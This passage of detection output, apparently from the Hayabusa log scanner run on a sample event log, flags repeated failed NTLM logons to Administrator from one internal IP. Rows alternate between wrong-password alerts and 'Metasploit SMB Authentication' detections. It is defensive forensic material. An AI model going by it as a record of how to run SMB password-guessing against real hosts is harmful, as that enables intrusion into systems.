+09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I67uBcH52tgLzhVB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.835 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2hsth68FDJ4F10H6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.835 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aDoHrfWlaWZ5GbWV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.929 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uliC5Wd7uZR3fIBc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.972 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Unknown Reason,User: Administrator : Type: 3 : Workstation: Xhg4hg4XDFaXsJRe : IP Address: 192.168.198.149 : SubStatus: 0xc0000072 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Unknown Reason,User: Administrator : Type: 3 : Workstation: ZrSGxwUyV6gCUPeb : IP Address: 192.168.198.149 : SubStatus: 0xc0000072 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.042 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.179 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XUBgTr05x3djEYdM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.179 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.219 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 40PhGU4ZXu7uihop : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.219 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.335 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1DJ9r72hXZH9rEkb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.335 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: khy2BeyBb9wq00f7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.397 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1cDckicL7IMrO7OQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.462 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dEEkvfVd3FCap6fa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.513 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JGFSyHQ0ZNWofxzE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.545 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ItOZqZSDTrdWpkbp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.611 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NhNdf5lHfrHKSCXq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.611 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.646 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xg05F6tdf3kR9kdP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.646 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 70rRbaC6L6SzT15q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.693 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.735 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HnJyN8wF21ff2L1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.735 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MUZHZJMQznj6GBqg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.769 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P9h52ZKMbXLuFvUV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.804 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.839 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n95RJvcQnFrAG2iX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.839 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xI23nmysFlr1pvVf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.883 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nVsjcTxDdZbzkmMx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.916 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.955 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mMuWatQuNBh9UKdR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.955 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BfC3JZ3awqFDNQbm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.992 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.028 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 337h8PHN6Axi0iaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.028 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qGQpWOuzgETfxTgJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.071 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oFjlyMAJMI2zIC8w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.108 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7exAVz3PlzJQ6Wcw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.144 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.183 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RuYihjQpt76foAW3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.183 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.219 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OlPm2vRh9EHN9J6n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.219 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.255 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n9jDy3NDDPe7XgyW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.255 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.291 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AtGxqEKOoP6W3w0Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.291 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BLqYztXwV80UBez1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C0yki1dEFZrnMLs2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jbE2z1W1wQgoTDso : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.420 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.455 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IJmZFXFxiLuWWkMC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.455 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x9EPwprgXSJNUFfg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.500 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h0ZjYxZ8K5m5F1vo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.587 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xSw7OjDv8ldqbm5T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.587 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.631 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mk0BAdOI210HwPhX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.631 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wSwWz57Kvl2XJVUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.686 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DLcfSrHT5bSsNnuQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rQDkbESps0PXWEUT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZpnyzkXasuyAtdn1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.797 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ps9IqJzTliJvzpIS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.840 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V7PLb2uRTIY8t123 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 